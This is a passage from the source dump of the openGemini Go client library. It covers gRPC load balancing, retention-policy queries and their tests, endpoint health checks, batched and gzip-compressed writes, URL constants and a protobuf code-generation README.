87 | addr := address.String()
88 | conn, err := grpc.NewClient(addr, dialOptions...)
89 | if err != nil {
90 | _ = lb.Close()
91 | return nil, fmt.Errorf("connect to %s failed: %v", addr, err)
92 | }
93 | ep := &grpcEndpoint{
94 | address: addr,
95 | conn: conn,
96 | client: proto.NewWriteServiceClient(conn),
97 | }
98 | lb.endpoints = append(lb.endpoints, ep)
99 | }
100 |
101 | return lb, nil
102 | }
103 |
104 | // getClient use polling to return the next available client
105 | func (r *grpcLoadBalance) getClient() proto.WriteServiceClient {
106 | attempts := len(r.endpoints)
107 | for i := 0; i < attempts; i++ {
108 | current := r.current.Add(1)
109 | idx := int(current) % len(r.endpoints)
110 | ep := r.endpoints[idx]
111 |
112 | if ep.isHealthy() {
113 | return ep.client
114 | }
115 | }
116 |
117 | // no healthy endpoint, return random endpoint
118 | return r.endpoints[random.Intn(attempts)].client
119 | }
120 |
121 | // Close all endpoint
122 | func (r *grpcLoadBalance) Close() error {
123 | close(r.stopChan)
124 | var lastErr error
125 | for _, ep := range r.endpoints {
126 | if err := ep.conn.Close(); err != nil {
127 | lastErr = err
128 | }
129 | }
130 | return lastErr
131 | }
132 |
--------------------------------------------------------------------------------
/opengemini/retention_policy.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "errors"
19 | "fmt"
20 | "strings"
21 | )
22 |
23 | // RetentionPolicy defines the structure for retention policy info
24 | type RetentionPolicy struct {
25 | Name string
26 | Duration string
27 | ShardGroupDuration string
28 | HotDuration string
29 | WarmDuration string
30 | IndexDuration string
31 | ReplicaNum int64
32 | IsDefault bool
33 | }
34 |
35 | func (rp *RetentionPolicy) SetName(value SeriesValue) error {
36 | name, ok := value[0].(string)
37 | if !ok {
38 | return fmt.Errorf("set RetentionPolicy name: name must be a string")
39 | }
40 | rp.Name = name
41 | return nil
42 | }
43 |
44 | func (rp *RetentionPolicy) SetDuration(value SeriesValue) error {
45 | duration, ok := value[1].(string)
46 | if !ok {
47 | return fmt.Errorf("set RetentionPolicy duration: duration must be a string")
48 | }
49 | rp.Duration = duration
50 | return nil
51 | }
52 |
53 | func (rp *RetentionPolicy) SetShardGroupDuration(value SeriesValue) error {
54 | sgDuration, ok := value[2].(string)
55 | if !ok {
56 | return fmt.Errorf("set RetentionPolicy shardGroupDuration: shardGroupDuration must be a string")
57 | }
58 | rp.ShardGroupDuration = sgDuration
59 | return nil
60 | }
61 |
62 | func (rp *RetentionPolicy) SetHotDuration(value SeriesValue) error {
63 | hDuration, ok := value[3].(string)
64 | if !ok {
65 | return fmt.Errorf("set RetentionPolicy hotDuration: hotDuration must be a string")
66 | }
67 | rp.HotDuration = hDuration
68 | return nil
69 | }
70 |
71 | func (rp *RetentionPolicy) SetWarmDuration(value SeriesValue) error {
72 | wDuration, ok := value[4].(string)
73 | if !ok {
74 | return fmt.Errorf("set RetentionPolicy warmDuration: warmDuration must be a string")
75 | }
76 | rp.WarmDuration = wDuration
77 | return nil
78 | }
79 |
80 | func (rp *RetentionPolicy) SetIndexDuration(value SeriesValue) error {
81 | iDuration, ok := value[5].(string)
82 | if !ok {
83 | return fmt.Errorf("set RetentionPolicy indexDuration: indexDuration must be a string")
84 | }
85 | rp.IndexDuration = iDuration
86 | return nil
87 | }
88 |
89 | func (rp *RetentionPolicy) SetReplicaNum(value SeriesValue) error {
90 | replicaNum, ok := value[6].(float64)
91 | if !ok {
92 | return fmt.Errorf("set RetentionPolicy replicaNum: replicaNum must be a float64")
93 | }
94 | rp.ReplicaNum = int64(replicaNum)
95 | return nil
96 | }
97 |
98 | func (rp *RetentionPolicy) SetDefault(value SeriesValue) error {
99 | isDefault, ok := value[7].(bool)
100 | if !ok {
101 | return fmt.Errorf("set RetentionPolicy isDefault: isDefault must be a bool")
102 | }
103 | rp.IsDefault = isDefault
104 | return nil
105 | }
106 |
107 | func NewRetentionPolicy(value SeriesValue) *RetentionPolicy {
108 | rp := &RetentionPolicy{}
109 | if !errors.Is(rp.SetName(value), nil) ||
110 | !errors.Is(rp.SetDuration(value), nil) ||
111 | !errors.Is(rp.SetShardGroupDuration(value), nil) ||
112 | !errors.Is(rp.SetHotDuration(value), nil) ||
113 | !errors.Is(rp.SetWarmDuration(value), nil) ||
114 | !errors.Is(rp.SetIndexDuration(value), nil) ||
115 | !errors.Is(rp.SetReplicaNum(value), nil) ||
116 | !errors.Is(rp.SetDefault(value), nil) {
117 | return nil
118 | }
119 | return rp
120 | }
121 |
122 | // CreateRetentionPolicy Create retention policy
123 | func (c *client) CreateRetentionPolicy(database string, rpConfig RpConfig, isDefault bool) error {
124 | err := checkDatabaseAndPolicy(database, rpConfig.Name)
125 | if err != nil {
126 | return err
127 | }
128 |
129 | var buf strings.Builder
130 | buf.WriteString(fmt.Sprintf("CREATE RETENTION POLICY %s ON \"%s\" DURATION %s REPLICATION 1", rpConfig.Name, database, rpConfig.Duration))
131 | if len(rpConfig.ShardGroupDuration) > 0 {
132 | buf.WriteString(fmt.Sprintf(" SHARD DURATION %s", rpConfig.ShardGroupDuration))
133 | }
134 | if len(rpConfig.IndexDuration) > 0 {
135 | buf.WriteString(fmt.Sprintf(" INDEX DURATION %s", rpConfig.IndexDuration))
136 | }
137 | if isDefault {
138 | buf.WriteString(" DEFAULT")
139 | }
140 |
141 | queryResult, err := c.queryPost(Query{Command: buf.String()})
142 | if err != nil {
143 | return err
144 | }
145 |
146 | err = queryResult.hasError()
147 | if err != nil {
148 | return fmt.Errorf("create retention policy %w", err)
149 | }
150 |
151 | return nil
152 | }
153 |
154 | func (c *client) UpdateRetentionPolicy(database string, rpConfig RpConfig, isDefault bool) error {
155 | err := checkDatabaseAndPolicy(database, rpConfig.Name)
156 | if err != nil {
157 | return err
158 | }
159 |
160 | var buf strings.Builder
161 | buf.WriteString(fmt.Sprintf("ALTER RETENTION POLICY %s ON \"%s\" ", rpConfig.Name, database))
162 | if len(rpConfig.Duration) > 0 {
163 | buf.WriteString(fmt.Sprintf(" DURATION %s", rpConfig.Duration))
164 | }
165 | if len(rpConfig.IndexDuration) > 0 {
166 | buf.WriteString(fmt.Sprintf(" INDEX DURATION %s", rpConfig.IndexDuration))
167 | }
168 | if len(rpConfig.ShardGroupDuration) > 0 {
169 | buf.WriteString(fmt.Sprintf(" SHARD DURATION %s", rpConfig.ShardGroupDuration))
170 | }
171 | if isDefault {
172 | buf.WriteString(" DEFAULT")
173 | }
174 |
175 | queryResult, err := c.queryPost(Query{Command: buf.String()})
176 | if err != nil {
177 | return err
178 | }
179 |
180 | err = queryResult.hasError()
181 | if err != nil {
182 | return fmt.Errorf("update retention policy %w", err)
183 | }
184 |
185 | return nil
186 | }
187 |
188 | // ShowRetentionPolicies Show retention policy
189 | func (c *client) ShowRetentionPolicies(database string) ([]RetentionPolicy, error) {
190 | err := checkDatabaseName(database)
191 | if err != nil {
192 | return nil, err
193 | }
194 |
195 | var (
196 | ShowRetentionPolicy = "SHOW RETENTION POLICIES"
197 | rpResult []RetentionPolicy
198 | )
199 |
200 | queryResult, err := c.Query(Query{Database: database, Command: ShowRetentionPolicy})
201 | if err != nil {
202 | return nil, err
203 | }
204 |
205 | err = queryResult.hasError()
206 | if err != nil {
207 | return rpResult, fmt.Errorf("show retention policy err: %s", err)
208 | }
209 |
210 | rpResult = queryResult.convertRetentionPolicyList()
211 | return rpResult, nil
212 | }
213 |
214 | // DropRetentionPolicy Drop retention policy
215 | func (c *client) DropRetentionPolicy(database, retentionPolicy string) error {
216 | err := checkDatabaseAndPolicy(database, retentionPolicy)
217 | if err != nil {
218 | return err
219 | }
220 |
221 | cmd := fmt.Sprintf("DROP RETENTION POLICY %s ON \"%s\"", retentionPolicy, database)
222 | queryResult, err := c.queryPost(Query{Command: cmd})
223 | if err != nil {
224 | return err
225 | }
226 | err = queryResult.hasError()
227 | if err != nil {
228 | return fmt.Errorf("drop retention policy %w", err)
229 | }
230 | return nil
231 | }
232 |
--------------------------------------------------------------------------------
/opengemini/retention_policy_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "testing"
19 |
20 | "github.com/stretchr/testify/require"
21 | )
22 |
23 | func TestClientCreateRetentionPolicy(t *testing.T) {
24 | c := testDefaultClient(t)
25 | databaseName := randomDatabaseName()
26 | err := c.CreateDatabase(databaseName)
27 | require.Nil(t, err)
28 | retentionPolicyTest1 := randomRetentionPolicy()
29 | retentionPolicyTest2 := randomRetentionPolicy()
30 | retentionPolicyTest3 := randomRetentionPolicy()
31 | retentionPolicyTest4 := randomRetentionPolicy()
32 | err = c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicyTest1, Duration: "3d"}, false)
33 | require.Nil(t, err)
34 | err = c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicyTest2, Duration: "3d", ShardGroupDuration: "1h"}, false)
35 | require.Nil(t, err)
36 | err = c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicyTest3, Duration: "3d", ShardGroupDuration: "1h", IndexDuration: "7h"}, false)
37 | require.Nil(t, err)
38 | err = c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicyTest4, Duration: "3d"}, true)
39 | require.Nil(t, err)
40 | err = c.DropRetentionPolicy(databaseName, retentionPolicyTest1)
41 | require.Nil(t, err)
42 | err = c.DropRetentionPolicy(databaseName, retentionPolicyTest2)
43 | require.Nil(t, err)
44 | err = c.DropRetentionPolicy(databaseName, retentionPolicyTest3)
45 | require.Nil(t, err)
46 | err = c.DropRetentionPolicy(databaseName, retentionPolicyTest4)
47 | require.Nil(t, err)
48 | err = c.DropDatabase(databaseName)
49 | require.Nil(t, err)
50 | }
51 |
52 | func TestClientCreateRetentionPolicyNotExistDatabase(t *testing.T) {
53 | c := testDefaultClient(t)
54 | databaseName := randomDatabaseName()
55 | retentionPolicy := randomRetentionPolicy()
56 | err := c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicy, Duration: "3d"}, false)
57 | require.NotNil(t, err)
58 | err = c.DropDatabase(databaseName)
59 | require.Nil(t, err)
60 | }
61 |
62 | func TestClientCreateRetentionPolicyEmptyDatabase(t *testing.T) {
63 | c := testDefaultClient(t)
64 | retentionPolicy := randomRetentionPolicy()
65 | err := c.CreateRetentionPolicy("", RpConfig{Name: retentionPolicy, Duration: "3d"}, false)
66 | require.NotNil(t, err)
67 | }
68 |
69 | func TestClientDropRetentionPolicy(t *testing.T) {
70 | c := testDefaultClient(t)
71 | databaseName := randomDatabaseName()
72 | retentionPolicy := randomRetentionPolicy()
73 | err := c.CreateDatabase(databaseName)
74 | require.Nil(t, err)
75 | err = c.CreateRetentionPolicy(databaseName, RpConfig{Name: retentionPolicy, Duration: "3d"}, false)
76 | require.Nil(t, err)
77 | err = c.DropRetentionPolicy(databaseName, retentionPolicy)
78 | require.Nil(t, err)
79 | }
80 |
81 | func TestClientShowRetentionPolicy(t *testing.T) {
82 | c := testDefaultClient(t)
83 | databaseName := randomDatabaseName()
84 | err := c.CreateDatabase(databaseName)
85 | require.Nil(t, err)
86 | rpResult, err := c.ShowRetentionPolicies(databaseName)
87 | require.Nil(t, err)
88 | require.NotEqual(t, len(rpResult), 0)
89 | err = c.DropDatabase(databaseName)
90 | require.Nil(t, err)
91 | }
92 |
93 | func TestClientUpdateRetentionPolicy(t *testing.T) {
94 | c := testDefaultClient(t)
95 | databaseName := randomDatabaseName()
96 | err := c.CreateDatabase(databaseName)
97 | require.Nil(t, err)
98 |
99 | err = c.UpdateRetentionPolicy(databaseName, RpConfig{Name: "autogen", Duration: "300d"}, true)
100 | require.Nil(t, err)
101 | rpResult, err := c.ShowRetentionPolicies(databaseName)
102 | require.Nil(t, err)
103 | require.Equal(t, len(rpResult), 1)
104 | require.Equal(t, rpResult[0].Name, "autogen")
105 | require.Equal(t, rpResult[0].Duration, "7200h0m0s")
106 |
107 | err = c.UpdateRetentionPolicy(databaseName, RpConfig{Name: "autogen", Duration: "300d", ShardGroupDuration: "2h", IndexDuration: "4h"}, true)
108 | require.Nil(t, err)
109 | rpResult, err = c.ShowRetentionPolicies(databaseName)
110 | require.Nil(t, err)
111 | require.Equal(t, len(rpResult), 1)
112 | require.Equal(t, rpResult[0].Name, "autogen")
113 | require.Equal(t, rpResult[0].Duration, "7200h0m0s")
114 | require.Equal(t, rpResult[0].IndexDuration, "4h0m0s")
115 | require.Equal(t, rpResult[0].ShardGroupDuration, "2h0m0s")
116 |
117 | err = c.DropDatabase(databaseName)
118 | require.Nil(t, err)
119 | }
120 |
--------------------------------------------------------------------------------
/opengemini/series.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | type SeriesValue []interface{}
18 |
19 | type SeriesValues []SeriesValue
20 |
21 | // Series defines the structure for series data
22 | type Series struct {
23 | Name string `json:"name,omitempty" msgpack:"name,omitempty"`
24 | Tags map[string]string `json:"tags,omitempty" msgpack:"tags,omitempty"`
25 | Columns []string `json:"columns,omitempty" msgpack:"columns,omitempty"`
26 | Values SeriesValues `json:"values,omitempty" msgpack:"values,omitempty"`
27 | }
28 |
--------------------------------------------------------------------------------
/opengemini/servers_check.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "context"
19 | "sync"
20 | "time"
21 | )
22 |
23 | const (
24 | healthCheckPeriod = time.Second * 10
25 | )
26 |
27 | func (c *client) endpointsCheck(ctx context.Context) {
28 | var t = time.NewTicker(healthCheckPeriod)
29 | for {
30 | select {
31 | case <-ctx.Done():
32 | t.Stop()
33 | return
34 | case <-t.C:
35 | c.checkUpOrDown(ctx)
36 | }
37 | }
38 | }
39 |
40 | func (c *client) checkUpOrDown(ctx context.Context) {
41 | wg := &sync.WaitGroup{}
42 | for i := 0; i < len(c.endpoints); i++ {
43 | wg.Add(1)
44 | go func(idx int) {
45 | defer func() {
46 | wg.Done()
47 | if err := recover(); err != nil {
48 | c.logger.Error("panic recovered during endpoint check", "index", idx, "error", err)
49 | return
50 | }
51 | }()
52 | err := c.ping(ctx, idx)
53 | if err != nil {
54 | c.logger.Error("ping failed", "index", idx, "error", err)
55 | } else {
56 | c.logger.Info("ping succeeded", "index", idx)
57 | }
58 | c.endpoints[idx].isDown.Store(err != nil)
59 | }(i)
60 | }
61 | wg.Wait()
62 | }
63 |
64 | // getServerUrl if all servers down, return error
65 | func (c *client) getServerUrl() string {
66 | serverLen := len(c.endpoints)
67 | for i := serverLen; i > 0; i-- {
68 | idx := uint32(c.prevIdx.Add(1)) % uint32(serverLen)
69 | if c.endpoints[idx].isDown.Load() {
70 | continue
71 | }
72 | return c.endpoints[idx].url
73 | }
74 | c.logger.Error("all servers down, no endpoints found")
75 | return c.endpoints[random.Intn(serverLen)].url
76 | }
77 |
--------------------------------------------------------------------------------
/opengemini/servers_check_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "context"
19 | "errors"
20 | "fmt"
21 | "log"
22 | "log/slog"
23 | "net"
24 | "net/http"
25 | "strconv"
26 | "sync/atomic"
27 | "testing"
28 | "time"
29 |
30 | "github.com/stretchr/testify/assert"
31 | )
32 |
33 | func setHandleFunc() {
34 | http.HandleFunc("/ping", func(writer http.ResponseWriter, request *http.Request) {
35 | writer.WriteHeader(204)
36 | })
37 | }
38 |
39 | func startServer() (int, *http.Server, error) {
40 | ln, err := net.Listen("tcp", ":0")
41 | if err != nil {
42 | return 0, nil, err
43 | }
44 |
45 | server := &http.Server{Handler: http.DefaultServeMux}
46 | go func() {
47 | if err := server.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) {
48 | log.Printf("Error serving requests: %v", err)
49 | }
50 | }()
51 |
52 | addr, ok := ln.Addr().(*net.TCPAddr)
53 | if !ok {
54 | _ = server.Close()
55 | return 0, nil, fmt.Errorf("failed to get listen port")
56 | }
57 | return addr.Port, server, nil
58 | }
59 |
60 | func TestServerCheck(t *testing.T) {
61 | setHandleFunc()
62 | port1, server1, err := startServer()
63 | assert.NoError(t, err)
64 | port2, server2, err := startServer()
65 | assert.NoError(t, err)
66 | cli := &client{
67 | config: &Config{},
68 | endpoints: []endpoint{
69 | {url: "http://localhost:" + strconv.Itoa(port1)},
70 | {url: "http://localhost:" + strconv.Itoa(port2)},
71 | },
72 | cli: &http.Client{
73 | Transport: &http.Transport{
74 | DialContext: (&net.Dialer{
75 | Timeout: time.Second * 3,
76 | }).DialContext,
77 | },
78 | },
79 | prevIdx: atomic.Int32{},
80 | logger: slog.Default(),
81 | }
82 | cli.prevIdx.Store(-1)
83 | var ctx context.Context
84 | ctx, cli.batchContextCancel = context.WithCancel(context.Background())
85 | go cli.endpointsCheck(ctx)
86 |
87 | url := cli.getServerUrl()
88 | assert.Equal(t, cli.endpoints[0].url, url)
89 |
90 | url = cli.getServerUrl()
91 | assert.Equal(t, cli.endpoints[1].url, url)
92 |
93 | err = server1.Close()
94 | assert.NoError(t, err)
95 |
96 | time.Sleep(time.Second * 15)
97 | url = cli.getServerUrl()
98 | assert.Equal(t, cli.endpoints[1].url, url)
99 |
100 | err = server2.Close()
101 | assert.NoError(t, err)
102 |
103 | err = cli.Close()
104 | assert.NoError(t, err)
105 | }
106 |
--------------------------------------------------------------------------------
/opengemini/test_util.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "testing"
19 |
20 | "github.com/libgox/unicodex/letter"
21 | "github.com/stretchr/testify/require"
22 | )
23 |
24 | func testDefaultClient(t *testing.T) Client {
25 | return testNewClient(t, &Config{
26 | Addresses: []Address{{
27 | Host: "localhost",
28 | Port: 8086,
29 | }},
30 | })
31 | }
32 |
33 | func testNewClient(t *testing.T, config *Config) Client {
34 | client, err := newClient(config)
35 | require.Nil(t, err)
36 | require.NotNil(t, client)
37 | return client
38 | }
39 |
40 | func randomDatabaseName() string {
41 | return letter.RandEnglish(8)
42 | }
43 |
44 | func randomRetentionPolicy() string {
45 | return letter.RandEnglish(8)
46 | }
47 |
48 | func randomMeasurement() string {
49 | return letter.RandEnglish(8)
50 | }
51 |
--------------------------------------------------------------------------------
/opengemini/url_const.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import "net/http"
18 |
19 | const (
20 | UrlPing = "/ping"
21 | UrlQuery = "/query"
22 | UrlStatus = "/status"
23 | UrlWrite = "/write"
24 | )
25 |
26 | var noAuthRequired = map[string]map[string]struct{}{
27 | UrlPing: {
28 | http.MethodHead: {},
29 | http.MethodGet: {},
30 | },
31 | UrlQuery: {
32 | http.MethodOptions: {},
33 | },
34 | UrlStatus: {
35 | http.MethodHead: {},
36 | http.MethodGet: {},
37 | },
38 | }
39 |
--------------------------------------------------------------------------------
/opengemini/write.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "bytes"
19 | "compress/gzip"
20 | "context"
21 | "errors"
22 | "fmt"
23 | "io"
24 | "net/http"
25 | "net/url"
26 | "time"
27 | )
28 |
29 | type WriteCallback func(error)
30 |
31 | type sendBatchWithCB struct {
32 | point *Point
33 | callback WriteCallback
34 | }
35 |
36 | type dbRp struct {
37 | db string
38 | rp string
39 | }
40 |
41 | // CallbackDummy if user don't want to handle WritePoint error, could use this function as empty callback
42 | //
43 | //goland:noinspection GoUnusedExportedFunction
44 | func CallbackDummy(_ error) {
45 | // Do nothing
46 | }
47 |
48 | func (c *client) WritePoint(database string, point *Point, callback WriteCallback) error {
49 | return c.WritePointWithRp(database, "", point, callback)
50 | }
51 |
52 | func (c *client) WriteBatchPoints(ctx context.Context, database string, bp []*Point) error {
53 | return c.WriteBatchPointsWithRp(ctx, database, "", bp)
54 | }
55 |
56 | func (c *client) WritePointWithRp(database string, rp string, point *Point, callback WriteCallback) error {
57 | if c.config.BatchConfig != nil {
58 | select {
59 | case <-c.batchContext.Done():
60 | return c.batchContext.Err()
61 | default:
62 | key := dbRp{db: database, rp: rp}
63 | value, ok := c.dataChanMap.Load(key)
64 | if !ok {
65 | newCollection := make(chan *sendBatchWithCB, c.config.BatchConfig.BatchSize*2)
66 | actual, loaded := c.dataChanMap.LoadOrStore(key, newCollection)
67 | if loaded {
68 | close(newCollection)
69 | } else {
70 | go c.internalBatchSend(c.batchContext, database, rp, actual)
71 | }
72 | value = actual
73 | }
74 | value <- &sendBatchWithCB{
75 | point: point,
76 | callback: callback,
77 | }
78 | }
79 | return nil
80 | }
81 |
82 | buffer, err := c.encodePoint(point)
83 | if err != nil {
84 | return err
85 | }
86 |
87 | return c.writeBytesBuffer(c.batchContext, database, rp, buffer)
88 | }
89 |
90 | func (c *client) WriteBatchPointsWithRp(ctx context.Context, database string, rp string, bp []*Point) error {
91 | if len(bp) == 0 {
92 | return nil
93 | }
94 |
95 | buffer, err := c.encodeBatchPoints(bp)
96 | if err != nil {
97 | return err
98 | }
99 |
100 | return c.writeBytesBuffer(ctx, database, rp, buffer)
101 | }
102 |
103 | func (c *client) encodePoint(point *Point) (*bytes.Buffer, error) {
104 | var buffer bytes.Buffer
105 | writer := c.newWriter(&buffer)
106 |
107 | enc := NewLineProtocolEncoder(writer)
108 | if err := enc.Encode(point); err != nil {
109 | return nil, errors.New("encode failed, error: " + err.Error())
110 | }
111 |
112 | return &buffer, nil
113 | }
114 |
115 | func (c *client) encodeBatchPoints(bp []*Point) (*bytes.Buffer, error) {
116 | var buffer bytes.Buffer
117 | writer := c.newWriter(&buffer)
118 |
119 | enc := NewLineProtocolEncoder(writer)
120 | if err := enc.BatchEncode(bp); err != nil {
121 | return nil, errors.New("batchEncode failed, error: " + err.Error())
122 | }
123 |
124 | return &buffer, nil
125 | }
126 |
127 | func (c *client) writeBytesBuffer(ctx context.Context, database string, rp string, buffer *bytes.Buffer) error {
128 | resp, err := c.innerWrite(ctx, database, rp, buffer)
129 | if err != nil {
130 | return errors.New("innerWrite request failed, error: " + err.Error())
131 | }
132 |
133 | defer resp.Body.Close()
134 | if resp.StatusCode != http.StatusNoContent {
135 | errorBody, err := io.ReadAll(resp.Body)
136 | if err != nil {
137 | return errors.New("writeBatchPoint read resp body failed, error: " + err.Error())
138 | }
139 | return errors.New("writeBatchPoint error resp, code: " + resp.Status + "body: " + string(errorBody))
140 | }
141 | return nil
142 | }
143 |
144 | func (c *client) internalBatchSend(ctx context.Context, database string, rp string, resource <-chan *sendBatchWithCB) {
145 | var tickInterval = c.config.BatchConfig.BatchInterval
146 | var ticker = time.NewTicker(tickInterval)
147 | var points = make([]*Point, 0, c.config.BatchConfig.BatchSize)
148 | var cbs []WriteCallback
149 | needFlush := false
150 | for {
151 | select {
152 | case <-ctx.Done():
153 | ticker.Stop()
154 | for record := range resource {
155 | record.callback(fmt.Errorf("send batch context cancelled"))
156 | }
157 | return
158 | case <-ticker.C:
159 | needFlush = true
160 | case record := <-resource:
161 | points = append(points, record.point)
162 | cbs = append(cbs, record.callback)
163 | }
164 | if len(points) >= c.config.BatchConfig.BatchSize || needFlush {
165 | err := c.WriteBatchPointsWithRp(ctx, database, rp, points)
166 | for _, callback := range cbs {
167 | callback(err)
168 | }
169 | needFlush = false
170 | ticker.Reset(tickInterval)
171 | points = points[:0]
172 | cbs = cbs[:0]
173 | }
174 | }
175 | }
176 |
177 | func (c *client) newWriter(buffer *bytes.Buffer) io.Writer {
178 | if c.config.CompressMethod == CompressMethodGzip {
179 | return gzip.NewWriter(buffer)
180 | } else {
181 | return buffer
182 | }
183 | }
184 |
185 | func (c *client) innerWrite(ctx context.Context, database string, rp string, buffer *bytes.Buffer) (*http.Response, error) {
186 | req := requestDetails{
187 | queryValues: make(url.Values),
188 | body: buffer,
189 | }
190 | if c.config.CompressMethod == CompressMethodGzip {
191 | req.header = make(http.Header)
192 | req.header.Set("Content-Encoding", "gzip")
193 | req.header.Set("Accept-Encoding", "gzip")
194 | }
195 | req.queryValues.Add("db", database)
196 | req.queryValues.Add("rp", rp)
197 |
198 | c.metrics.writeCounter.Add(1)
199 | c.metrics.writeDatabaseCounter.WithLabelValues(database).Add(1)
200 | startAt := time.Now()
201 |
202 | response, err := c.executeHttpRequestWithContext(ctx, http.MethodPost, UrlWrite, req)
203 |
204 | cost := float64(time.Since(startAt).Milliseconds())
205 | c.metrics.writeLatency.Observe(cost)
206 | c.metrics.writeDatabaseLatency.WithLabelValues(database).Observe(cost)
207 |
208 | return response, err
209 | }
210 |
--------------------------------------------------------------------------------
/proto/README.md:
--------------------------------------------------------------------------------
1 | # proto
2 |
3 | This package contains the OpenGemini protocol buffer definitions.
4 |
5 | ## Prerequisites
6 |
7 | 1. Install protoc (Protocol Buffers compiler)
8 | 2. Install protoc plugins for Go:
9 |
10 | ```shell
11 | # Install protoc-gen-go
12 | go install google.golang.org/protobuf/cmd/protoc-gen-go@latest
13 |
14 | # Install protoc-gen-go-grpc
15 | go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@latest
16 | ```
17 |
18 | ## Usage
19 |
20 | Run the following command in the project root directory to generate Go code:
21 |
22 | ```shell
23 | protoc --go_out=. --go_opt=paths=source_relative \
24 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \
25 | proto/*.proto
26 | ```
27 |
28 | This command will:
29 | - Generate Go code for protobuf messages (*.pb.go)
30 | - Generate Go code for gRPC services (*.pb.grpc.go)
31 | - Files will be generated in their respective directories according to source relative paths
32 |
--------------------------------------------------------------------------------
/proto/gen_code.sh:
--------------------------------------------------------------------------------
1 | # Copyright 2024 openGemini Authors
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
